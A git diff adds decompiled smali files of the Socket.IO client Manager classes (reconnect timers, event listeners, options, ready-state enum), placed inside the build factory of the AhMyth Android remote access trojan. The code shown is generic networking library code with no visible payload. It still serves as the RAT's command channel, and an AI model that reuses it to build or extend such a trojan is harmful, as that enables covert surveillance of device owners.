+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ new-instance v2, Lio/socket/client/Manager$11$1$1;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$11$1$1;->(Lio/socket/client/Manager$11$1;)V
+
+ invoke-virtual {v1, v2}, Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11.smali
new file mode 100644
index 00000000..6d44ef65
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11.smali
@@ -0,0 +1,54 @@
+.class Lio/socket/client/Manager$11;
+.super Ljava/util/TimerTask;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->reconnect()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 544
+ iput-object p1, p0, Lio/socket/client/Manager$11;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .prologue
+ .line 547
+ new-instance v0, Lio/socket/client/Manager$11$1;
+
+ invoke-direct {v0, p0}, Lio/socket/client/Manager$11$1;->(Lio/socket/client/Manager$11;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 576
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$12.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$12.smali
new file mode 100644
index 00000000..62277d79
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$12.smali
@@ -0,0 +1,55 @@
+.class Lio/socket/client/Manager$12;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->reconnect()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$timer:Ljava/util/Timer;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Ljava/util/Timer;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 579
+ iput-object p1, p0, Lio/socket/client/Manager$12;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$12;->val$timer:Ljava/util/Timer;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 1
+
+ .prologue
+ .line 582
+ iget-object v0, p0, Lio/socket/client/Manager$12;->val$timer:Ljava/util/Timer;
+
+ invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
+
+ .line 583
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$2.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$2.smali
new file mode 100644
index 00000000..78a50762
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$2.smali
@@ -0,0 +1,89 @@
+.class Lio/socket/client/Manager$2;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 345
+ iput-object p1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 348
+ const/4 v1, 0x0
+
+ aget-object v0, p1, v1
+
+ .line 349
+ .local v0, "data":Ljava/lang/Object;
+ instance-of v1, v0, Ljava/lang/String;
+
+ if-eqz v1, :cond_1
+
+ .line 350
+ iget-object v1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ check-cast v0, Ljava/lang/String;
+
+ .end local v0 # "data":Ljava/lang/Object;
+ # invokes: Lio/socket/client/Manager;->ondata(Ljava/lang/String;)V
+ invoke-static {v1, v0}, Lio/socket/client/Manager;->access$1000(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ .line 354
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 351
+ .restart local v0 # "data":Ljava/lang/Object;
+ :cond_1
+ instance-of v1, v0, [B
+
+ if-eqz v1, :cond_0
+
+ .line 352
+ iget-object v1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ check-cast v0, [B
+
+ .end local v0 # "data":Ljava/lang/Object;
+ check-cast v0, [B
+
+ # invokes: Lio/socket/client/Manager;->ondata([B)V
+ invoke-static {v1, v0}, Lio/socket/client/Manager;->access$1100(Lio/socket/client/Manager;[B)V
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$3.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$3.smali
new file mode 100644
index 00000000..b54343c5
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$3.smali
@@ -0,0 +1,53 @@
+.class Lio/socket/client/Manager$3;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 356
+ iput-object p1, p0, Lio/socket/client/Manager$3;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 1
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 359
+ iget-object v0, p0, Lio/socket/client/Manager$3;->this$0:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->onping()V
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1200(Lio/socket/client/Manager;)V
+
+ .line 360
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$4.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$4.smali
new file mode 100644
index 00000000..913c9b04
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$4.smali
@@ -0,0 +1,53 @@
+.class Lio/socket/client/Manager$4;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 362
+ iput-object p1, p0, Lio/socket/client/Manager$4;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 1
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 365
+ iget-object v0, p0, Lio/socket/client/Manager$4;->this$0:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->onpong()V
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1300(Lio/socket/client/Manager;)V
+
+ .line 366
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$5.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$5.smali
new file mode 100644
index 00000000..f342b791
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$5.smali
@@ -0,0 +1,59 @@
+.class Lio/socket/client/Manager$5;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 368
+ iput-object p1, p0, Lio/socket/client/Manager$5;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 371
+ iget-object v1, p0, Lio/socket/client/Manager$5;->this$0:Lio/socket/client/Manager;
+
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ check-cast v0, Ljava/lang/Exception;
+
+ # invokes: Lio/socket/client/Manager;->onerror(Ljava/lang/Exception;)V
+ invoke-static {v1, v0}, Lio/socket/client/Manager;->access$1400(Lio/socket/client/Manager;Ljava/lang/Exception;)V
+
+ .line 372
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$6.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$6.smali
new file mode 100644
index 00000000..ccad38ed
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$6.smali
@@ -0,0 +1,59 @@
+.class Lio/socket/client/Manager$6;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 374
+ iput-object p1, p0, Lio/socket/client/Manager$6;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 377
+ iget-object v1, p0, Lio/socket/client/Manager$6;->this$0:Lio/socket/client/Manager;
+
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ check-cast v0, Ljava/lang/String;
+
+ # invokes: Lio/socket/client/Manager;->onclose(Ljava/lang/String;)V
+ invoke-static {v1, v0}, Lio/socket/client/Manager;->access$1500(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ .line 378
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$7.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$7.smali
new file mode 100644
index 00000000..278b953d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$7.smali
@@ -0,0 +1,59 @@
+.class Lio/socket/client/Manager$7;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 380
+ iput-object p1, p0, Lio/socket/client/Manager$7;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 383
+ iget-object v1, p0, Lio/socket/client/Manager$7;->this$0:Lio/socket/client/Manager;
+
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ check-cast v0, Lio/socket/parser/Packet;
+
+ # invokes: Lio/socket/client/Manager;->ondecoded(Lio/socket/parser/Packet;)V
+ invoke-static {v1, v0}, Lio/socket/client/Manager;->access$1600(Lio/socket/client/Manager;Lio/socket/parser/Packet;)V
+
+ .line 384
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$8.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$8.smali
new file mode 100644
index 00000000..16839f55
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$8.smali
@@ -0,0 +1,67 @@
+.class Lio/socket/client/Manager$8;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$s:Lio/socket/client/Socket;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;Lio/socket/client/Socket;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 431
+ iput-object p1, p0, Lio/socket/client/Manager$8;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$8;->val$self:Lio/socket/client/Manager;
+
+ iput-object p3, p0, Lio/socket/client/Manager$8;->val$s:Lio/socket/client/Socket;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 434
+ iget-object v0, p0, Lio/socket/client/Manager$8;->val$self:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1700(Lio/socket/client/Manager;)Ljava/util/Set;
+
+ move-result-object v0
+
+ iget-object v1, p0, Lio/socket/client/Manager$8;->val$s:Lio/socket/client/Socket;
+
+ invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
+
+ .line 435
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$9.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$9.smali
new file mode 100644
index 00000000..a2a08e07
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$9.smali
@@ -0,0 +1,68 @@
+.class Lio/socket/client/Manager$9;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$s:Lio/socket/client/Socket;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Socket;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 437
+ iput-object p1, p0, Lio/socket/client/Manager$9;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$9;->val$s:Lio/socket/client/Socket;
+
+ iput-object p3, p0, Lio/socket/client/Manager$9;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 440
+ iget-object v0, p0, Lio/socket/client/Manager$9;->val$s:Lio/socket/client/Socket;
+
+ iget-object v1, p0, Lio/socket/client/Manager$9;->val$self:Lio/socket/client/Manager;
+
+ iget-object v1, v1, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v1}, Lio/socket/engineio/client/Socket;->id()Ljava/lang/String;
+
+ move-result-object v1
+
+ iput-object v1, v0, Lio/socket/client/Socket;->id:Ljava/lang/String;
+
+ .line 441
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Engine.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Engine.smali
new file mode 100644
index 00000000..d6bf7606
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Engine.smali
@@ -0,0 +1,29 @@
+.class Lio/socket/client/Manager$Engine;
+.super Lio/socket/engineio/client/Socket;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0xa
+ name = "Engine"
+.end annotation
+
+
+# direct methods
+.method constructor (Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+ .locals 0
+ .param p1, "uri" # Ljava/net/URI;
+ .param p2, "opts" # Lio/socket/engineio/client/Socket$Options;
+
+ .prologue
+ .line 606
+ invoke-direct {p0, p1, p2}, Lio/socket/engineio/client/Socket;->(Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+
+ .line 607
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$OpenCallback.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$OpenCallback.smali
new file mode 100644
index 00000000..402c318f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$OpenCallback.smali
@@ -0,0 +1,19 @@
+.class public interface abstract Lio/socket/client/Manager$OpenCallback;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x609
+ name = "OpenCallback"
+.end annotation
+
+
+# virtual methods
+.method public abstract call(Ljava/lang/Exception;)V
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Options.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Options.smali
new file mode 100644
index 00000000..7df25292
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$Options.smali
@@ -0,0 +1,50 @@
+.class public Lio/socket/client/Manager$Options;
+.super Lio/socket/engineio/client/Socket$Options;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x9
+ name = "Options"
+.end annotation
+
+
+# instance fields
+.field public randomizationFactor:D
+
+.field public reconnection:Z
+
+.field public reconnectionAttempts:I
+
+.field public reconnectionDelay:J
+
+.field public reconnectionDelayMax:J
+
+.field public timeout:J
+
+
+# direct methods
+.method public constructor ()V
+ .locals 2
+
+ .prologue
+ .line 610
+ invoke-direct {p0}, Lio/socket/engineio/client/Socket$Options;->()V
+
+ .line 612
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/Manager$Options;->reconnection:Z
+
+ .line 621
+ const-wide/16 v0, 0x4e20
+
+ iput-wide v0, p0, Lio/socket/client/Manager$Options;->timeout:J
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$ReadyState.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$ReadyState.smali
new file mode 100644
index 00000000..b3a69d63
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$ReadyState.smali
@@ -0,0 +1,140 @@
+.class final enum Lio/socket/client/Manager$ReadyState;
+.super Ljava/lang/Enum;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x4018
+ name = "ReadyState"
+.end annotation
+
+.annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/lang/Enum",
+ "<",
+ "Lio/socket/client/Manager$ReadyState;",
+ ">;"
+ }
+.end annotation
+
+
+# static fields
+.field private static final synthetic $VALUES:[Lio/socket/client/Manager$ReadyState;
+
+.field public static final enum CLOSED:Lio/socket/client/Manager$ReadyState;
+
+.field public static final enum OPEN:Lio/socket/client/Manager$ReadyState;
+
+.field public static final enum OPENING:Lio/socket/client/Manager$ReadyState;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 5
+
+ .prologue
+ const/4 v4, 0x2
+
+ const/4 v3, 0x1
+
+ const/4 v2, 0x0
+
+ .line 25
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const-string v1, "CLOSED"
+
+ invoke-direct {v0, v1, v2}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const-string v1, "OPENING"
+
+ invoke-direct {v0, v1, v3}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ new-instance v0, Lio/socket/client/Manager$ReadyState;
+
+ const-string v1, "OPEN"
+
+ invoke-direct {v0, v1, v4}, Lio/socket/client/Manager$ReadyState;->(Ljava/lang/String;I)V
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ .line 24
+ const/4 v0, 0x3
+
+ new-array v0, v0, [Lio/socket/client/Manager$ReadyState;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v1, v0, v2
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v1, v0, v3
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v1, v0, v4
+
+ sput-object v0, Lio/socket/client/Manager$ReadyState;->$VALUES:[Lio/socket/client/Manager$ReadyState;
+
+ return-void
+.end method
+
+.method private constructor (Ljava/lang/String;I)V
+ .locals 0
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "()V"
+ }
+ .end annotation
+
+ .prologue
+ .line 24
+ invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
+
+ return-void
+.end method
+
+.method public static valueOf(Ljava/lang/String;)Lio/socket/client/Manager$ReadyState;
+ .locals 1
+ .param p0, "name" # Ljava/lang/String;
+
+ .prologue
+ .line 24
+ const-class v0, Lio/socket/client/Manager$ReadyState;
+
+ invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Manager$ReadyState;
+
+ return-object v0
+.end method
+
+.method public static values()[Lio/socket/client/Manager$ReadyState;
+ .locals 1
+
+ .prologue
+ .line 24
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->$VALUES:[Lio/socket/client/Manager$ReadyState;
+
+ invoke-virtual {v0}, [Lio/socket/client/Manager$ReadyState;->clone()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, [Lio/socket/client/Manager$ReadyState;
+
+ return-object v0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager.smali
new file mode 100644
index 00000000..e3b1cabf
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager.smali
@@ -0,0 +1,1846 @@
+.class public Lio/socket/client/Manager;
+.super Lio/socket/emitter/Emitter;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/Manager$Options;,
+ Lio/socket/client/Manager$Engine;,
+ Lio/socket/client/Manager$OpenCallback;,
+ Lio/socket/client/Manager$ReadyState;
+ }
+.end annotation
+
+
+# static fields
+.field public static final EVENT_CLOSE:Ljava/lang/String; = "close"
+
+.field public static final EVENT_CONNECT_ERROR:Ljava/lang/String; = "connect_error"
+
+.field public static final EVENT_CONNECT_TIMEOUT:Ljava/lang/String; = "connect_timeout"
+
+.field public static final EVENT_ERROR:Ljava/lang/String; = "error"
+
+.field public static final EVENT_OPEN:Ljava/lang/String; = "open"
+
+.field public static final EVENT_PACKET:Ljava/lang/String; = "packet"
+
+.field public static final EVENT_PING:Ljava/lang/String; = "ping"
+
+.field public static final EVENT_PONG:Ljava/lang/String; = "pong"
+
